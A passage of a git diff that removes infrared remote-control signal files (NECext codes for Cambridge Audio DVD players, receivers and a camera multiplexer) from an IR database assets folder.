0C 00 00 00 -command: 24 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 26 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 27 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 28 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 29 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2A 00 00 00 -# -name: PAL -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2B 00 00 00 -# -name: NTSC -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2C 00 00 00 -# -name: INTERLACED_SCAN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2D 00 00 00 -# -name: PROGRESSIVE_SCAN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2E 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2F 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 30 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir deleted file mode 100644 index 504c8d59b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STANDBY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: I-SCAN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 04 00 00 00 -# -name: PSM -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 06 00 00 00 -# -name: PAL/NTSC -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 07 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: SKIP_BACK -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0D 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0E 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 12 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 13 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 14 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 16 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 17 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1D 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 43 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 48 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 49 00 00 00 -# -name: SKIP_FORWARD -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 4A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 4B 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 4C 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 4D 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 4E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 4F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 50 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 51 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 52 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 53 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 54 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 55 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 56 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 57 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 58 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 59 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 5B 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 5C 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 5D 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 5E 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 5F 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 07 00 00 00 -command: B9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir deleted file mode 100644 index 2425226cb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir +++ /dev/null @@ -1,416 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DVD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 01 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: REC_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: REC_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 40 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 41 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 42 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 43 00 00 00 -# -name: REC_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 44 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 45 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 46 00 00 00 -# -name: REC_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 47 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 49 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4A 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4B 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4C 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4D 00 00 00 -# -name: ANALOG_STEREO_DIR. -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4E 00 00 00 -# -name: DIGITAL_STEREO_MODE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4F 00 00 00 -# -name: DD/DTS_MODES -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: PLIIX/NEO/DSP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 51 00 00 00 -# -name: DYNAMIC_RANGE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 52 00 00 00 -# -name: SUB_ON/OFF_TOGGLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 53 00 00 00 -# -name: TUNER_PTY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 54 00 00 00 -# -name: TUNER_APS -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 55 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 56 00 00 00 -# -name: TUNER_STEREO/MONO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 57 00 00 00 -# -name: TUNER_STORE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 58 00 00 00 -# -name: TUNER_MODE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 59 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5A 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5B 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5C 00 00 00 -# -name: OSD_ON/OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5D 00 00 00 -# -name: BASS/TREBLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5E 00 00 00 -# -name: 7.1_DIRECT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5F 00 00 00 -# -name: CYCLE_AUDIO_INPUT_MO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 60 00 00 00 -# -name: CYCLE_VIDEO_INPUT_MO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 61 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 62 00 00 00 -# -name: CYCLE_SOURCE_SELECT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 63 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 64 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 65 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 66 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 67 00 00 00 -# -name: STEREO_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 68 00 00 00 -# -name: STEREO_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 69 00 00 00 -# -name: SUB_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6A 00 00 00 -# -name: SUB_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6B 00 00 00 -# -name: FM_MODE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6C 00 00 00 -# -name: AM_MODE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6D 00 00 00 -# -name: ANALOG_AUDIO_INPUT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6E 00 00 00 -# -name: DIGITAL_AUDIO_INPUT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6F 00 00 00 -# -name: COMPOSITE_VID_INPUT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 70 00 00 00 -# -name: S-VIDEO_INPUT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 71 00 00 00 -# -name: SUB_LEVEL_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 73 00 00 00 -# -name: SUB_LEVEL_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 74 00 00 00 -# -name: TUNER_PRESET_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 75 00 00 00 -# -name: TUNER_PRESET_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 76 00 00 00 -# -name: TUNER_PRESET_3 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 77 00 00 00 -# -name: TUNER_PRESET_4 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 78 00 00 00 -# -name: TUNER_PRESET_5 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 79 00 00 00 -# -name: TUNER_PRESET_6 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7A 00 00 00 -# -name: TUNER_PRESET_7 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7B 00 00 00 -# -name: TUNER_PRESET_8 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7C 00 00 00 -# -name: TUNER_PRESET_9 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7D 00 00 00 -# -name: TUNER_PRESET_10 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir deleted file mode 100644 index 7ee6ceb8a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 01 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 02 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 03 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 04 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 05 00 00 00 -# -name: REC_1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 06 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 07 00 00 00 -# -name: REC_2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 08 00 00 00 -# -name: ALL_OFF -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0B 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0C 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0D 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 10 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 11 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir deleted file mode 100644 index b8b81baa2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SPK-SETUP -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 01 00 00 00 -# -name: PL_II_NEO -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 03 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 04 00 00 00 -# -name: PFEIL_LINKS -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 06 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 07 00 00 00 -# -name: DSP-MODE -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 09 00 00 00 -# -name: BASS_/_TREBLE -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 0A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 0C 00 00 00 -# -name: CH-SELECT -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 0D 00 00 00 -# -name: STEREO/MONO -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 0E 00 00 00 -# -name: 6.1_DIRECT -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 0F 00 00 00 -# -name: OSD_ON/OFF -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 11 00 00 00 -# -name: SUB_ON/OFF -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 12 00 00 00 -# -name: DYNAMIC -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 13 00 00 00 -# -name: STUMM -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 14 00 00 00 -# -name: PFEIL_RECHTS -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 15 00 00 00 -# -name: PTY -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 16 00 00 00 -# -name: DD_EX_DTS_ES -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 17 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 1A 00 00 00 -# -name: APS -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 1B 00 00 00 -# -name: TUNER_AM/FM -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 1C 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 1D 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 1E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 1F 00 00 00 -# -name: LFE_TRIM -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 20 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 21 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 22 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 23 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 24 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 25 00 00 00 -# -name: TAPE_MD/CDR -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 26 00 00 00 -# -name: CD/AUX -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 27 00 00 00 -# -name: INPUT_MODE -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 60 00 00 00 -# -name: DELAY -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: A0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir deleted file mode 100644 index 5bf9e75ff..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: C0 3F 00 00 -command: 00 00 00 00 -# -name: Preset_1/5 -type: parsed -protocol: NECext -address: C0 3F 00 00 -command: 03 00 00 00 -# -name: Mode_(Tuner) -type: parsed -protocol: NECext -address: C0 3F 00 00 -command: 18 00 00 00 -# -name: Stereo/Mono_(Tuner) -type: parsed -protocol: NECext -address: C0 3F 00 00 -command: 19 00 00 00 -# -name: Speaker_A/B -type: parsed -protocol: NECext -address: C0 3F 00 00 -command: 1A 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: C0 3F 00 00 -command: 1B 00 00 00 -# -name: Skip/Scan_up_(Tuner) -type: parsed -protocol: NECext -address: C0 3F 00 00 -command: 1C 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: C0 3F 00 00 -command: 1D 00 00 00 -# -name: Skip/Scan_down_(Tuner) -type: parsed -protocol: NECext -address: C0 3F 00 00 -command: 1E 00 00 00 -# -name: BD/DVD -type: parsed -protocol: NECext -address: C0 3F 00 00 -command: 1F 00 00 00 -# -name: Preset_2/6 -type: parsed -protocol: NECext -address: C0 3F 00 00 -command: 40 00 00 00 -# -name: Preset_4/8 -type: parsed -protocol: NECext -address: C0 3F 00 00 -command: 41 00 00 00 -# -name: Preset_3/7 -type: parsed -protocol: NECext -address: C0 3F 00 00 -command: 42 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: C0 3F 00 00 -command: 52 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: C0 3F 00 00 -command: 58 00 00 00 -# -name: AM/TUNER -type: parsed -protocol: NECext -address: C0 3F 00 00 -command: 59 00 00 00 -# -name: MP3/AUX -type: parsed -protocol: NECext -address: C0 3F 00 00 -command: 5C 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: C0 3F 00 00 -command: 5D 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: C0 3F 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Unknown_Audio/192,192.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Unknown_Audio/192,192.ir deleted file mode 100644 index 7f3370e71..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Unknown_Audio/192,192.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 01 00 00 00 -# -name: PLII_NEO6 -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 03 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 04 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 06 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 07 00 00 00 -# -name: DSP_MODE -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 09 00 00 00 -# -name: BASS_TREBLE -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 0C 00 00 00 -# -name: CH_SELECT -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 0D 00 00 00 -# -name: STEREO_MONO -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 0E 00 00 00 -# -name: X_KEY_1_DIRECT -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 0F 00 00 00 -# -name: I-O -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 11 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 12 00 00 00 -# -name: DYNAMIC -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 14 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 15 00 00 00 -# -name: PTY -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 16 00 00 00 -# -name: DDEX_DTSES -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 17 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 1A 00 00 00 -# -name: APS -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 1B 00 00 00 -# -name: TUNER_AM_FM -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 1C 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 1D 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 1F 00 00 00 -# -name: LFE_TRIM -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 20 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 21 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 22 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 23 00 00 00 -# -name: X_KEY_VIDEO2 -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 24 00 00 00 -# -name: X_KEY_VIDEO3 -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 25 00 00 00 -# -name: TAPE_MD_CDR -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 26 00 00 00 -# -name: CD_AUX -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 27 00 00 00 -# -name: INPUT_MODE -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: 60 00 00 00 -# -name: DELAY -type: parsed -protocol: NECext -address: C0 C0 00 00 -command: A0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir deleted file mode 100644 index c26151d18..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Tape_Mon -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 01 00 00 00 -# -name: AV_MD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: Tuner_DAB -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: Aux_Phono -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: Brightness -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 12 00 00 00 -# -name: Source_Up -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: Source_Down -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: Clip_Off -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 15 00 00 00 -# -name: Clip_On -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 16 00 00 00 -# -name: Mute_On -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 32 00 00 00 -# -name: Mute_Off -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 33 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir deleted file mode 100644 index cc17c66cf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 80 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 81 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 82 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 83 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 84 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 85 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 86 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 87 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 88 00 00 00 -# -name: PIP_ON -type: parsed -protocol: NECext -address: 85 73 00 00 